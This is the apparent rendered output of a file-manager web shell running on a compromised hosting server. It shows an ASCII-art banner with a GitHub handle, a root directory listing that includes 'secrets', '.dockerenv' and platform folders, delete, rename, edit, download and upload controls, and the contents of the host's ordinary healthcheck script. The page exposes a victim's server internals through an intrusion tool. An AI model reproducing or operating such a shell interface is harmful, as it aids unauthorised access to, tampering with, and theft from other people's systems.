⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢠⣴⣿⣿⣿⣷⣼⣿⠀⣴⠾⠷⠶⠦⡄⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢠⡤⢶⣦⣾⣿⣿⣿⣿⣿⣿⣿⠀⣿⣶⣶⣦⣄⠳⣤⣤⠄⠀⠀⠀
⠀⠀⠀⢀⣼⣳⡿⢻⣿⣿⣿⣿⣿⣿⣿⣿⣶⣿⣿⣗⠈⠙⠻⣶⣄⡀⠀⠀⠀
⠀⠀⠀⣰⠿⠁⢀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡄⠀⠀⠈⠳⣤⠀⠀
⠀⠀⢀⡟⠀⢰⣿⠟⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⠉⠁⠈⠻⣶⣄⠀⠀⠈⠛⢦   www.github.com/caterscam 
⠀⣀⡼⠃⠀⣼⡟⠀⠀⢸⣿⡿⠉⣿⡿⠿⠛⣿⡄⠀⠀⠀⠙⠿⣆⠀⠀⠀⠈
⠈⠁⠀⠀⢸⡟⠀⠀⠀⢸⣿⠀⠀⣿⠁⠀⠀⠈⠃⠀⠀⠀⠀⠀⠘⢷⡄⠀⠀
⠀⠀⠀⠀⣼⠃⠀⠀⠀⢸⡟⠀⠀⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⡆⠀
⠀⠀⠀⣠⡏⠀⠀⠀⠀⣼⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠻⠃⠀⠀⠀⠀⣻⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀

Current Dir: /

[DIR] alloc [ delete | rename ]
[DIR] bin [ delete | rename ]
[DIR] boot [ delete | rename ]
[DIR] configs [ delete | rename ]
[DIR] dev [ delete | rename ]
[DIR] docker-entrypoint.d [ delete | rename ]
[DIR] dom834884 [ delete | rename ]
[DIR] etc [ delete | rename ]
[DIR] home [ delete | rename ]
[DIR] host-dom-mount [ delete | rename ]
[DIR] hosting-plugins [ delete | rename ]
[DIR] htaccess-parser [ delete | rename ]
[DIR] lib [ delete | rename ]
[DIR] lib64 [ delete | rename ]
[DIR] local [ delete | rename ]
[DIR] logs [ delete | rename ]
[DIR] media [ delete | rename ]
[DIR] mnt [ delete | rename ]
[DIR] nginx-unit [ delete | rename ]
[DIR] opt [ delete | rename ]
[DIR] platform [ delete | rename ]
[DIR] proc [ delete | rename ]
[DIR] root [ delete | rename ]
[DIR] run [ delete | rename ]
[DIR] safe-wp [ delete | rename ]
[DIR] sbin [ delete | rename ]
[DIR] secrets [ delete | rename ]
[DIR] srv [ delete | rename ]
[DIR] sys [ delete | rename ]
[DIR] tmp [ delete | rename ]
[DIR] user [ delete | rename ]
[DIR] usr [ delete | rename ]
[DIR] var [ delete | rename ]
[DIR] wordpress-versions [ delete | rename ]
[FILE] .dockerenv [ edit | delete | rename | download ]
[FILE] info.json [ edit | delete | rename | download ]
[FILE] pagely-fpm-loader.sh [ edit | delete | rename | download ]
[FILE] pagely-healthcheck-loader.sh [ edit | delete | rename | download ]

Viewing: /platform/bin/pagely-healthcheck-loader.sh

#!/bin/bash

if [[ ! -L /proc/1/exe ]] || [[ ! -e /proc/1/exe ]] || [[ -n "${PAGELY_SKIP_HEALTHCHECKS}" ]]; then
  # If we can't find PID then abort and assume healthy
  exit 0;
fi;

# Get the executable name from PID 1
PID1_EXE_NAME=$(basename $(readlink /proc/1/exe))
if [[ -z "$PID1_EXE_NAME" ]]; then
  exit 1;
fi;

# Run healthcheck if there is one
case "${PID1_EXE_NAME}" in
  "php-fpm")
    exec /platform/healthchecks/pagely-fpm-healthcheck-iterator.sh
    ;;
  *)
    echo "Don't have a healthcheck for ${PID1_EXE_NAME}";
    exit 0;
    ;;
esac

Upload File: